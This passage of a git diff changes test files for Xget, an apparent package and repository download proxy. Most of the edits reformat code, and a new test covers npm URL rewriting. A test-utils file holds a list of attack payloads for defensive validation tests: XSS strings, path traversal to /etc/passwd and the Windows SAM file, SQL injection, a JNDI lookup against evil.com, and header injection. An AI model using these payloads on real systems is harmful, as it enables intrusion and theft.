path.includes('repodata.json')) { - resolve(createMockResponse(MOCK_RESPONSES.conda.repodata)); - } else if (options.method && !['GET', 'HEAD', 'POST'].includes(options.method)) { - resolve(createMockResponse(MOCK_RESPONSES.errors.methodNotAllowed)); - } else if (path.length > 2048) { - resolve(createMockResponse(MOCK_RESPONSES.errors.pathTooLong)); - } else { - resolve(createMockResponse(MOCK_RESPONSES.errors.notFound)); - } - }, Math.random() * 50 + 10); // 10-60ms delay + setTimeout( + () => { + const urlObj = new URL(url); + const path = urlObj.pathname; + + // Route to appropriate mock response based on URL pattern + if (path.includes('/gh/') && path.includes('package.json')) { + resolve(createMockResponse(MOCK_RESPONSES.github.packageJson)); + } else if (path.includes('/gh/') && path.includes('README.md')) { + resolve(createMockResponse(MOCK_RESPONSES.github.readme)); + } else if (path.includes('/gl/') && path.includes('package.json')) { + resolve(createMockResponse(MOCK_RESPONSES.gitlab.packageJson)); + } else if (path.includes('/hf/') && path.includes('config.json')) { + resolve(createMockResponse(MOCK_RESPONSES.huggingface.modelConfig)); + } else if (path.includes('/npm/') && !path.includes('.tgz')) { + resolve(createMockResponse(MOCK_RESPONSES.npm.packageMetadata)); + } else if (path.includes('/pypi/simple/')) { + resolve(createMockResponse(MOCK_RESPONSES.pypi.simpleIndex)); + } else if (path.includes('/conda/') && path.includes('repodata.json')) { + resolve(createMockResponse(MOCK_RESPONSES.conda.repodata)); + } else if (options.method && !['GET', 'HEAD', 'POST'].includes(options.method)) { + resolve(createMockResponse(MOCK_RESPONSES.errors.methodNotAllowed)); + } else if (path.length > 2048) { + resolve(createMockResponse(MOCK_RESPONSES.errors.pathTooLong)); + } else { + resolve(createMockResponse(MOCK_RESPONSES.errors.notFound)); + } + }, + Math.random() * 50 + 10 + ); // 10-60ms delay }); -} \ No newline at end of file +} diff --git a/test/helpers/test-utils.js b/test/helpers/test-utils.js index cc3937c..4a6dbc9 100644 --- a/test/helpers/test-utils.js +++ b/test/helpers/test-utils.js @@ -13,7 +13,7 @@ export function createMockRequest(url, options = {}) { method: 'GET', headers: { 'User-Agent': 'Mozilla/5.0 (Test)', - 'Accept': '*/*' + Accept: '*/*' } }; @@ -45,9 +45,7 @@ export function createMockResponse(body = 'OK', options = {}) { * @returns {Request} Git request object */ export function createGitRequest(url, service = 'git-upload-pack') { - const gitUrl = url.includes('?') - ? `${url}&service=${service}` - : `${url}?service=${service}`; + const gitUrl = url.includes('?') ? `${url}&service=${service}` : `${url}?service=${service}`; return new Request(gitUrl, { method: service === 'git-upload-pack' ? 'GET' : 'POST', @@ -97,7 +95,10 @@ export const TEST_URLS = { npm: { package: 'https://example.com/npm/react', tarball: 'https://example.com/npm/react/-/react-18.2.0.tgz', - scoped: 'https://example.com/npm/@types/node' + scoped: 'https://example.com/npm/@types/node', + // Test case for the specific npm package that caused the issue + npmPackage: 'https://example.com/npm/npm', + npmTarball: 'https://example.com/npm/npm/-/npm-11.5.1.tgz' }, pypi: { simple: 'https://example.com/pypi/simple/requests/', @@ -119,7 +120,7 @@ export const SECURITY_PAYLOADS = { '', 'javascript:alert(1)', '">', - '\';alert(1);//' + "';alert(1);//" ], pathTraversal: [ '../../../etc/passwd', @@ -127,12 +128,7 @@ export const SECURITY_PAYLOADS = { '..\\..\\..\\windows\\system32\\config\\sam', '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd' ], - injection: [ - '\'; DROP TABLE users; --', - '${jndi:ldap://evil.com}', - '{{7*7}}', - '<%=7*7%>' - ], + injection: ["'; DROP TABLE users; --", '${jndi:ldap://evil.com}', '{{7*7}}', '<%=7*7%>'], headerInjection: [ 'value\r\nX-Injected: malicious', 'value\nX-Injected: malicious', @@ -158,13 +154,13 @@ export class PerformanceTestHelper { const start = performance.now(); const result = await fn(); const end = performance.now(); - + this.measurements.push({ name, duration: end - start, timestamp: Date.now() }); - + return result; } @@ -184,7 +180,7 @@ export class PerformanceTestHelper { getAverageDuration(name) { const filtered = this.measurements.filter(m => m.name === name); if (filtered.length === 0) return 0; - + const total = filtered.reduce((sum, m) => sum + m.duration, 0); return total / filtered.length; } @@ -218,6 +214,32 @@ export function mockFetch(url, options = {}) { }); } +/** + * Create a mock npm registry response + * @param {string} packageName - Package name + * @param {string} version - Package version + * @returns {Object} Mock npm registry response + */ +export function createMockNpmRegistryResponse(packageName, version = '1.0.0') { + return { + name: packageName, + versions: { + [version]: { + name: packageName, + version: version, + dist: { + tarball: `https://registry.npmjs.org/${packageName}/-/${packageName}-${version}.tgz`, + shasum: 'mock-shasum', + integrity: 'mock-integrity' + } + } + }, + 'dist-tags': { + latest: version + } + }; +} + /** * Validate response headers for security * @param {Response} response - Response to validate @@ -311,4 +333,4 @@ export function timeout(ms) { */ export function wait(ms) { return new Promise(resolve => setTimeout(resolve, ms)); -} \ No newline at end of file +} diff --git a/test/index.test.js b/test/index.test.js index 307d241..46ebfa1 100644 --- a/test/index.test.js +++ b/test/index.test.js @@ -21,7 +21,7 @@ describe('Xget Core Functionality', () => { it('should include security headers in all responses', async () => { const response = await SELF.fetch('https://example.com/'); - + expect(response.headers.get('Strict-Transport-Security')).toBeTruthy(); expect(response.headers.get('X-Frame-Options')).toBe('DENY'); expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block'); @@ -34,7 +34,7 @@ describe('Xget Core Functionality', () => { it('should handle GitHub URLs correctly', async () => { const testUrl = 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + // Should attempt to proxy to GitHub expect(response.status).not.toBe(400); }); @@ -42,7 +42,7 @@ describe('Xget Core Functionality', () => { it('should handle GitLab URLs correctly', async () => { const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + // Should attempt to proxy to GitLab expect(response.status).not.toBe(400); }); @@ -50,7 +50,7 @@ describe('Xget Core Functionality', () => { it('should handle Hugging Face URLs correctly', async () => { const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + // Should attempt to proxy to Hugging Face expect(response.status).not.toBe(400); }); @@ -58,7 +58,7 @@ describe('Xget Core Functionality', () => { it('should handle npm URLs correctly', async () => { const testUrl = 'https://example.com/npm/react/-/react-18.2.0.tgz'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + // Should attempt to proxy to npm expect(response.status).not.toBe(400); }); @@ -66,15 +66,16 @@ describe('Xget Core Functionality', () => { it('should handle PyPI URLs correctly', async () => { const testUrl = 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + // Should attempt to proxy to PyPI expect(response.status).not.toBe(400); }); it('should handle conda URLs correctly', async () => { - const testUrl = 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda'; + const testUrl = + 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + // Should attempt to proxy to conda expect(response.status).not.toBe(400); }); @@ -85,7 +86,7 @@ describe('Xget Core Functionality', () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'GET' }); - + expect(response.status).not.toBe(405); }); @@ -93,7 +94,7 @@ describe('Xget Core Functionality', () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'HEAD' }); - + expect(response.status).not.toBe(405); }); @@ -101,7 +102,7 @@ describe('Xget Core Functionality', () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'PUT' }); - + expect(response.status).toBe(405); }); @@ -109,7 +110,7 @@ describe('Xget Core Functionality', () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'DELETE' }); - + expect(response.status).toBe(405); }); }); @@ -123,7 +124,7 @@ describe('Xget Core Functionality', () => { 'User-Agent': 'git/2.34.1' } }); - + expect(response.status).not.toBe(405); }); @@ -135,18 +136,21 @@ describe('Xget Core Functionality', () => { 'User-Agent': 'git/2.34.1' } }); - + expect(response.status).not.toBe(405); }); it('should handle Git info/refs requests', async () => { - const response = await SELF.fetch('https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack', { - method: 'GET', - headers: { - 'User-Agent': 'git/2.34.1' + const response = await SELF.fetch( + 'https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack', + { + method: 'GET', + headers: { + 'User-Agent': 'git/2.34.1' + } } - }); - + ); + expect(response.status).not.toBe(405); }); }); @@ -155,14 +159,14 @@ describe('Xget Core Functionality', () => { it('should reject extremely long paths', async () => { const longPath = '/gh/' + 'a'.repeat(3000); const response = await SELF.fetch(`https://example.com${longPath}`); - + expect(response.status).toBe(414); }); it('should accept normal length paths', async () => { const normalPath = '/gh/microsoft/vscode/archive/refs/heads/main.zip'; const response = await SELF.fetch(`https://example.com${normalPath}`); - + expect(response.status).not.toBe(414); }); }); @@ -170,15 +174,63 @@ describe('Xget Core Functionality', () => { describe('Performance Headers', () => { it('should include performance metrics in response headers', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); - + expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); }); it('should include valid JSON in performance metrics', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); const metricsHeader = response.headers.get('X-Performance-Metrics'); - + expect(() => JSON.parse(metricsHeader)).not.toThrow(); }); }); -}); \ No newline at end of file + + describe('URL Rewriting', () => { + it('should rewrite npm registry URLs in JSON responses', async () => { + // Mock npm package metadata request + const testUrl = 'https://example.com/npm/lodash'; + const response = await SELF.fetch(testUrl); + + // This test would need actual npm registry response mocking + // For now, just verify the request doesn't fail + expect([200, 301, 302, 404, 500]).toContain(response.status); + }); + + it('should preserve npm tarball URL structure', async () => { + // Test that npm tarball URLs follow the correct pattern + const testUrl = 'https://example.com/npm/react/-/react-18.2.0.tgz'; + const response = await SELF.fetch(testUrl, { method: 'HEAD' }); + + // Should attempt to proxy correctly + expect(response.status).not.toBe(400); + }); + + it('should correctly rewrite npm URLs to preserve package names', () => { + // Test the regex replacement logic directly + const mockOriginalText = JSON.stringify({ + name: 'npm', + versions: { + '11.5.1': { + dist: { + tarball: 'https://registry.npmjs.org/npm/-/npm-11.5.1.tgz' + } + } + } + }); + + // Simulate the regex replacement that happens in the code + const rewrittenText = mockOriginalText.replace( + /https:\/\/registry\.npmjs\.org\/([^\/]+)/g, + `https://xget.xi-xu.me/npm/$1` + ); + + const rewrittenData = JSON.parse(rewrittenText); + + // Verify the URL is correctly rewritten with package name preserved + expect(rewrittenData.versions['11.5.1'].dist.tarball).toBe( + 'https://xget.xi-xu.me/npm/npm/-/npm-11.5.1.tgz' + ); + }); + }); +}); diff --git a/test/integration.test.js b/test/integration.test.js index e0ccd5b..b9441c1 100644 --- a/test/integration.test.js +++ b/test/integration.test.js @@ -6,10 +6,10 @@ describe('Integration Tests', () => { it('should proxy GitHub file requests correctly', async () => { const testUrl = 'https://example.com/gh/microsoft/vscode/blob/main/package.json'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + // Should attempt to proxy to GitHub expect([200, 301, 302, 404]).toContain(response.status); - + // Should include security headers expect(response.headers.get('Strict-Transport-Security')).toBeTruthy(); expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); @@ -18,21 +18,22 @@ describe('Integration Tests', () => { it('should handle GitHub raw file requests', async () => { const testUrl = 'https://example.com/gh/microsoft/vscode/raw/main/README.md'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + expect([200, 301, 302, 404]).toContain(response.status); }); it('should handle GitHub release downloads', async () => { - const testUrl = 'https://example.com/gh/microsoft/vscode/releases/download/1.85.0/VSCode-linux-x64.tar.gz'; + const testUrl = + 'https://example.com/gh/microsoft/vscode/releases/download/1.85.0/VSCode-linux-x64.tar.gz'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + expect([200, 301, 302, 404]).toContain(response.status); }); it('should proxy GitLab file requests correctly', async () => { const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/package.json'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + expect([200, 301, 302, 404]).toContain(response.status); expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); }); @@ -40,41 +41,42 @@ describe('Integration Tests', () => { it('should handle Hugging Face model files', async () => { const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + expect([200, 301, 302, 404]).toContain(response.status); }); it('should handle npm package requests', async () => { const testUrl = 'https://example.com/npm/react'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + expect([200, 301, 302, 404]).toContain(response.status); }); it('should handle PyPI package requests', async () => { const testUrl = 'https://example.com/pypi/simple/requests/'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + expect([200, 301, 302, 404]).toContain(response.status); }); it('should handle conda package requests', async () => { const testUrl = 'https://example.com/conda/pkgs/main/linux-64/repodata.json'; const response = await SELF.fetch(testUrl, { method: 'HEAD' }); - + expect([200, 301, 302, 404]).toContain(response.status); }); }); describe('Git Protocol Integration', () => { it('should handle Git info/refs requests', async () => { - const testUrl = 'https://example.com/gh/microsoft/vscode.git/info/refs?service=git-upload-pack'; + const testUrl = + 'https://example.com/gh/microsoft/vscode.git/info/refs?service=git-upload-pack'; const response = await SELF.fetch(testUrl, { headers: { 'User-Agent': 'git/2.34.1' } }); - + expect([200, 301, 302, 404]).toContain(response.status); }); @@ -88,7 +90,7 @@ describe('Integration Tests', () => { }, body: '0000' // Minimal Git protocol data }); - + expect([200, 301, 302, 400, 404]).toContain(response.status); }); @@ -100,7 +102,7 @@ describe('Integration Tests', () => { 'Git-Protocol': 'version=2' } }); - + // Should not reject Git-specific headers expect(response.status).not.toBe(400); }); @@ -109,31 +111,31 @@ describe('Integration Tests', () => { describe('Caching Integration', () => { it('should cache responses appropriately', async () => { const testUrl = 'https://example.com/gh/test/repo/static-file.txt'; - + // First request const response1 = await SELF.fetch(testUrl); const metrics1 = response1.headers.get('X-Performance-Metrics'); - + // Second request (should potentially hit cache) const response2 = await SELF.fetch(testUrl); const metrics2 = response2.headers.get('X-Performance-Metrics'); - + expect(metrics1).toBeTruthy(); expect(metrics2).toBeTruthy(); - + // Both requests should succeed expect(response1.status).toBe(response2.status); }); it('should not cache Git protocol requests', async () => { const testUrl = 'https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack'; - + const response = await SELF.fetch(testUrl, { headers: { 'User-Agent': 'git/2.34.1' } }); - + // Git requests should not be cached (no cache headers) expect(response.headers.get('Cache-Control')).not.toContain('max-age=1800'); }); @@ -143,7 +145,7 @@ describe('Integration Tests', () => { it('should handle upstream server errors gracefully', async () => { const testUrl = 'https://example.com/gh/nonexistent/repo/file.txt'; const response = await SELF.fetch(testUrl); - + // Should handle 404 from upstream gracefully expect([404, 502, 503]).toContain(response.status); expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); @@ -155,7 +157,7 @@ describe('Integration Tests', () => { // with a mock server that delays responses. const testUrl = 'https://example.com/gh/test/repo/file.txt'; const response = await SELF.fetch(testUrl); - + // Should complete within reasonable time expect(response.status).toBeDefined(); }); @@ -164,7 +166,7 @@ describe('Integration Tests', () => { // Test retry mechanism by checking performance metrics const testUrl = 'https://example.com/gh/test/unreliable-endpoint'; const response = await SELF.fetch(testUrl); - + const metricsHeader = response.headers.get('X-Performance-Metrics'); if (metricsHeader) { const metrics = JSON.parse(metricsHeader); @@ -178,12 +180,12 @@ describe('Integration Tests', () => { it('should complete requests within reasonable time', async () => { const startTime = Date.now(); const testUrl = 'https://example.com/gh/test/repo/small-file.txt'; - + const response = await SELF.fetch(testUrl); const endTime = Date.now(); - + const duration = endTime - startTime; - + // Should complete within 30 seconds (timeout limit) expect(duration).toBeLessThan(30000); expect(response.status).toBeDefined(); @@ -198,7 +200,7 @@ describe('Integration Tests', () => { 'https://example.com/pypi/simple/test/', 'https://example.com/conda/pkgs/main/test.json' ]; - + for (const url of testUrls) { const response = await SELF.fetch(url, { method: 'HEAD' }); expect(response.headers.get('X-Performance-Metrics')).toBeTruthy(); @@ -214,10 +216,10 @@ describe('Integration Tests', () => { { url: 'https://example.com/gh/test/repo/style.css', expectedType: 'css' }, { url: 'https://example.com/gh/test/repo/script.js', expectedType: 'javascript' } ]; - + for (const testCase of testCases) { const response = await SELF.fetch(testCase.url, { method: 'HEAD' }); - + if (response.status === 200) { const contentType = response.headers.get('Content-Type'); if (contentType) { @@ -233,13 +235,13 @@ describe('Integration Tests', () => { const testUrl = 'https://example.com/gh/test/repo/large-file.zip'; const response = await SELF.fetch(testUrl, { headers: { - 'Range': 'bytes=0-1023' + Range: 'bytes=0-1023' } }); - + // Should either support range requests (206) or return full content (200) expect([200, 206, 404]).toContain(response.status); - + if (response.status === 206) { expect(response.headers.get('Content-Range')).toBeTruthy(); } @@ -252,11 +254,11 @@ describe('Integration Tests', () => { 'https://example.com/gh/test/repo/README.md', 'https://example.com/gl/test/repo/README.md' ]; - + const responses = await Promise.all( testCases.map(url => SELF.fetch(url, { method: 'HEAD' })) ); - + // All responses should have consistent security headers responses.forEach(response => { expect(response.headers.get('Strict-Transport-Security')).toBeTruthy(); @@ -264,4 +266,4 @@ describe('Integration Tests', () => { }); }); }); -}); \ No newline at end of file +}); diff --git a/test/npm-fix.test.js b/test/npm-fix.test.js new file mode 100644 index 0000000..4addcce --- /dev/null +++ b/test/npm-fix.test.js @@ -0,0 +1,82 @@ +import { describe, expect, it } from 'vitest'; + +describe('npm URL Rewriting Fix', () => { + it('should correctly rewrite npm registry URLs to preserve package names', () => { + const mockOriginalText = JSON.stringify({ + name: 'npm', + versions: { + '11.5.1': { + dist: { + tarball: 'https://registry.npmjs.org/npm/-/npm-11.5.1.tgz' + } + } + } + }); + + // Simulate the regex replacement that happens in the code + const rewrittenText = mockOriginalText.replace( + /https:\/\/registry\.npmjs\.org\/([^\/]+)/g, + `https://xget.xi-xu.me/npm/$1` + ); + + const rewrittenData = JSON.parse(rewrittenText); + + // Verify the URL is correctly rewritten + expect(rewrittenData.versions['11.5.1'].dist.tarball).toBe( + 'https://xget.xi-xu.me/npm/npm/-/npm-11.5.1.tgz' + ); + }); + + it('should handle scoped packages correctly', () => { + const mockOriginalText = JSON.stringify({ + name: '@types/node', + versions: { + '20.0.0': { + dist: { + tarball: 'https://registry.npmjs.org/@types/node/-/node-20.0.0.tgz' + } + } + } + }); + + const rewrittenText = mockOriginalText.replace( + /https:\/\/registry\.npmjs\.org\/([^\/]+)/g, + `https://xget.xi-xu.me/npm/$1` + ); + + const rewrittenData = JSON.parse(rewrittenText); + + expect(rewrittenData.versions['20.0.0'].dist.tarball).toBe( + 'https://xget.xi-xu.me/npm/@types/node/-/node-20.0.0.tgz' + ); + }); + + it('should handle multiple URLs in the same JSON response', () => { + const mockOriginalText = JSON.stringify({ + dist: { + tarball: 'https://registry.npmjs.org/package1/-/package1-1.0.0.tgz' + }, + dependencies: { + dep: { + dist: { + tarball: 'https://registry.npmjs.org/dep/-/dep-2.0.0.tgz' + } + } + } + }); + + const rewrittenText = mockOriginalText.replace( + /https:\/\/registry\.npmjs\.org\/([^\/]+)/g, + `https://xget.xi-xu.me/npm/$1` + ); + + const rewrittenData = JSON.parse(rewrittenText); + + expect(rewrittenData.dist.tarball).toBe( + 'https://xget.xi-xu.me/npm/package1/-/package1-1.0.0.tgz' + ); + expect(rewrittenData.dependencies.dep.dist.tarball).toBe( + 'https://xget.xi-xu.me/npm/dep/-/dep-2.0.0.tgz' + ); + }); +}); diff --git a/test/performance.test.js b/test/performance.test.js index ea70ee1..7209c5f 100644 --- a/test/performance.test.js +++ b/test/performance.test.js @@ -34,7 +34,7 @@ describe('Performance Monitoring', () => { it('should create timing marks', () => { monitor.mark('test-mark'); - + const metrics = monitor.getMetrics(); expect(metrics).toHaveProperty('test-mark'); expect(typeof metrics['test-mark']).toBe('number'); @@ -44,7 +44,7 @@ describe('Performance Monitoring', () => { monitor.mark('mark1'); monitor.mark('mark2'); monitor.mark('mark3'); - + const metrics = monitor.getMetrics(); expect(Object.keys(metrics)).toHaveLength(3); expect(metrics).toHaveProperty('mark1'); @@ -57,19 +57,19 @@ describe('Performance Monitoring', () => { const originalWarn = console.warn; const mockWarn = vi ? vi.fn() : jest.fn(); console.warn = mockWarn; - + monitor.mark('duplicate'); monitor.mark('duplicate'); - + expect(mockWarn).toHaveBeenCalledWith('Mark with name duplicate already exists.'); - + // Restore original console.warn console.warn = originalWarn; }); it('should return metrics as plain object', () => { monitor.mark('test'); - + const metrics = monitor.getMetrics(); expect(metrics).toBeTypeOf('object'); expect(Array.isArray(metrics)).toBe(false); @@ -77,12 +77,12 @@ describe('Performance Monitoring', () => { it('should track elapsed time correctly', async () => { monitor.mark('start'); - + // Wait a small amount of time await new Promise(resolve => setTimeout(resolve, 10)); - + monitor.mark('end'); - + const metrics = monitor.getMetrics(); expect(metrics.end).toBeGreaterThan(metrics.start); }); @@ -94,18 +94,18 @@ describe('Performance Monitoring', () => { monitor.mark('proxy-start'); monitor.mark('proxy-end'); monitor.mark('request-end'); - + const metrics = monitor.getMetrics(); - + expect(() => JSON.stringify(metrics)).not.toThrow(); }); it('should have reasonable timing values', () => { monitor.mark('test-mark'); - + const metrics = monitor.getMetrics(); const timing = metrics['test-mark']; - + // Should be a positive number and reasonable (less than 1 second for this test) expect(timing).toBeGreaterThanOrEqual(0); expect(timing).toBeLessThan(1000); @@ -117,9 +117,9 @@ describe('Performance Monitoring', () => { monitor.mark('second'); await new Promise(resolve => setTimeout(resolve, 5)); monitor.mark('third'); - + const metrics = monitor.getMetrics(); - + expect(metrics.first).toBeLessThan(metrics.second); expect(metrics.second).toBeLessThan(metrics.third); }); @@ -133,9 +133,9 @@ describe('Performance Monitoring', () => { monitor.mark('proxy-start'); monitor.mark('proxy-response'); monitor.mark('response-sent'); - + const metrics = monitor.getMetrics(); - + expect(metrics).toHaveProperty('request-received'); expect(metrics).toHaveProperty('validation-complete'); expect(metrics).toHaveProperty('proxy-start'); @@ -148,9 +148,9 @@ describe('Performance Monitoring', () => { monitor.mark('cache-miss'); monitor.mark('upstream-request'); monitor.mark('cache-store'); - + const metrics = monitor.getMetrics(); - + expect(metrics).toHaveProperty('cache-check-start'); expect(metrics).toHaveProperty('cache-miss'); expect(metrics).toHaveProperty('upstream-request'); @@ -161,9 +161,9 @@ describe('Performance Monitoring', () => { monitor.mark('request-start'); monitor.mark('error-occurred'); monitor.mark('error-handled'); - + const metrics = monitor.getMetrics(); - + expect(metrics).toHaveProperty('request-start'); expect(metrics).toHaveProperty('error-occurred'); expect(metrics).toHaveProperty('error-handled'); @@ -173,24 +173,24 @@ describe('Performance Monitoring', () => { describe('Performance Thresholds', () => { it('should identify slow operations', () => { monitor.mark('operation-start'); - + // Simulate slow operation const slowTiming = 5000; // 5 seconds monitor.marks.set('operation-end', slowTiming); - + const metrics = monitor.getMetrics(); const operationTime = metrics['operation-end'] - (metrics['operation-start'] || 0); - + // Should identify as slow (> 1 second) expect(operationTime).toBeGreaterThan(1000); }); it('should identify fast operations', () => { monitor.mark('fast-operation'); - + const metrics = monitor.getMetrics(); const timing = metrics['fast-operation']; - + // Should be fast (< 100ms for this test) expect(timing).toBeLessThan(100); }); @@ -199,14 +199,14 @@ describe('Performance Monitoring', () => { describe('Memory and Resource Usage', () => { it('should not leak memory with many marks', () => { const initialSize = monitor.marks.size; - + // Add many marks for (let i = 0; i < 1000; i++) { monitor.mark(`mark-${i}`); } - + expect(monitor.marks.size).toBe(initialSize + 1000); - + // Clear marks (if such method existed) monitor.marks.clear(); expect(monitor.marks.size).toBe(0); @@ -214,7 +214,7 @@ describe('Performance Monitoring', () => { it('should handle concurrent mark operations', () => { const promises = []; - + for (let i = 0; i < 10; i++) { promises.push( new Promise(resolve => { @@ -225,11 +225,11 @@ describe('Performance Monitoring', () => { }) ); } - + return Promise.all(promises).then(() => { const metrics = monitor.getMetrics(); expect(Object.keys(metrics)).toHaveLength(10); }); }); }); -}); \ No newline at end of file +}); diff --git a/test/platforms.test.js b/test/platforms.test.js index 7f4c9e0..0925cc5 100644 --- a/test/platforms.test.js +++ b/test/platforms.test.js @@ -5,7 +5,7 @@ describe('Platform Configuration', () => { describe('Platform Definitions', () => { it('should have all required platforms defined', () => { const requiredPlatforms = ['gh', 'gl', 'hf', 'npm', 'pypi', 'conda']; - + requiredPlatforms.forEach(platform => { expect(PLATFORMS).toHaveProperty(platform); expect(PLATFORMS[platform]).toBeDefined(); @@ -30,12 +30,12 @@ describe('Platform Configuration', () => { describe('GitHub Platform', () => { it('should transform GitHub paths correctly', () => { const transform = PLATFORMS.gh.transform; - - expect(transform('/gh/microsoft/vscode/archive/main.zip')) - .toBe('/microsoft/vscode/archive/main.zip'); - - expect(transform('/gh/user/repo.git')) - .toBe('/user/repo.git'); + + expect(transform('/gh/microsoft/vscode/archive/main.zip')).toBe( + '/microsoft/vscode/archive/main.zip' + ); + + expect(transform('/gh/user/repo.git')).toBe('/user/repo.git'); }); it('should have correct base URL', () => { @@ -46,9 +46,10 @@ describe('Platform Configuration', () => { describe('GitLab Platform', () => { it('should transform GitLab paths correctly', () => { const transform = PLATFORMS.gl.transform; - - expect(transform('/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip')) - .toBe('/gitlab-org/gitlab/-/archive/master/gitlab-master.zip'); + + expect(transform('/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip')).toBe( + '/gitlab-org/gitlab/-/archive/master/gitlab-master.zip' + ); }); it('should have correct base URL', () => { @@ -59,12 +60,14 @@ describe('Platform Configuration', () => { describe('Hugging Face Platform', () => { it('should transform Hugging Face paths correctly', () => { const transform = PLATFORMS.hf.transform; - - expect(transform('/hf/microsoft/DialoGPT-medium/resolve/main/config.json')) - .toBe('/microsoft/DialoGPT-medium/resolve/main/config.json'); - - expect(transform('/hf/datasets/squad/resolve/main/train.json')) - .toBe('/datasets/squad/resolve/main/train.json'); + + expect(transform('/hf/microsoft/DialoGPT-medium/resolve/main/config.json')).toBe( + '/microsoft/DialoGPT-medium/resolve/main/config.json' + ); + + expect(transform('/hf/datasets/squad/resolve/main/train.json')).toBe( + '/datasets/squad/resolve/main/train.json' + ); }); it('should have correct base URL', () => { @@ -75,12 +78,10 @@ describe('Platform Configuration', () => { describe('npm Platform', () => { it('should transform npm paths correctly', () => { const transform = PLATFORMS.npm.transform; - - expect(transform('/npm/react/-/react-18.2.0.tgz')) - .toBe('/react/-/react-18.2.0.tgz'); - - expect(transform('/npm/lodash')) - .toBe('/lodash'); + + expect(transform('/npm/react/-/react-18.2.0.tgz')).toBe('/react/-/react-18.2.0.tgz'); + + expect(transform('/npm/lodash')).toBe('/lodash'); }); it('should have correct base URL', () => { @@ -91,12 +92,12 @@ describe('Platform Configuration', () => { describe('PyPI Platform', () => { it('should transform PyPI paths correctly', () => { const transform = PLATFORMS.pypi.transform; - - expect(transform('/pypi/packages/source/r/requests/requests-2.31.0.tar.gz')) - .toBe('/packages/source/r/requests/requests-2.31.0.tar.gz'); - - expect(transform('/pypi/simple/requests/')) - .toBe('/simple/requests/'); + + expect(transform('/pypi/packages/source/r/requests/requests-2.31.0.tar.gz')).toBe( + '/packages/source/r/requests/requests-2.31.0.tar.gz' + ); + + expect(transform('/pypi/simple/requests/')).toBe('/simple/requests/'); }); it('should have correct base URL', () => { @@ -107,16 +108,18 @@ describe('Platform Configuration', () => { describe('conda Platform', () => { it('should transform conda default channel paths correctly', () => { const transform = PLATFORMS.conda.transform; - - expect(transform('/conda/pkgs/main/linux-64/numpy-1.24.3.conda')) - .toBe('/pkgs/main/linux-64/numpy-1.24.3.conda'); + + expect(transform('/conda/pkgs/main/linux-64/numpy-1.24.3.conda')).toBe( + '/pkgs/main/linux-64/numpy-1.24.3.conda' + ); }); it('should transform conda community channel paths correctly', () => { const transform = PLATFORMS.conda.transform; - - expect(transform('/conda/community/conda-forge/linux-64/repodata.json')) - .toBe('/conda-forge/linux-64/repodata.json'); + + expect(transform('/conda/community/conda-forge/linux-64/repodata.json')).toBe( + '/conda-forge/linux-64/repodata.json' + ); }); it('should have correct base URLs', () => { @@ -141,16 +144,14 @@ describe('Platform Configuration', () => { it('should handle paths with query parameters', () => { const transform = PLATFORMS.gh.transform; - - expect(transform('/gh/user/repo/file.txt?ref=main')) - .toBe('/user/repo/file.txt?ref=main'); + + expect(transform('/gh/user/repo/file.txt?ref=main')).toBe('/user/repo/file.txt?ref=main'); }); it('should handle paths with fragments', () => { const transform = PLATFORMS.gh.transform; - - expect(transform('/gh/user/repo/README.md#section')) - .toBe('/user/repo/README.md#section'); + + expect(transform('/gh/user/repo/README.md#section')).toBe('/user/repo/README.md#section'); }); }); @@ -160,7 +161,7 @@ describe('Platform Configuration', () => { const testPath = `/${key}/test/path`; const transformedPath = config.transform(testPath); const fullUrl = config.base + transformedPath; - + expect(() => new URL(fullUrl)).not.toThrow(); }); }); @@ -170,9 +171,9 @@ describe('Platform Configuration', () => { const communityPath = '/conda/community/conda-forge/test'; const transformedPath = config.transform(communityPath); const fullUrl = config.communityBase + transformedPath; - + expect(() => new URL(fullUrl)).not.toThrow(); expect(fullUrl).toContain('conda.anaconda.org'); }); }); -}); \ No newline at end of file +}); diff --git a/test/security.test.js b/test/security.test.js index 1367c6e..bb40893 100644 --- a/test/security.test.js +++ b/test/security.test.js @@ -5,7 +5,7 @@ describe('Security Features', () => { describe('Security Headers', () => { it('should include Strict-Transport-Security header', async () => { const response = await 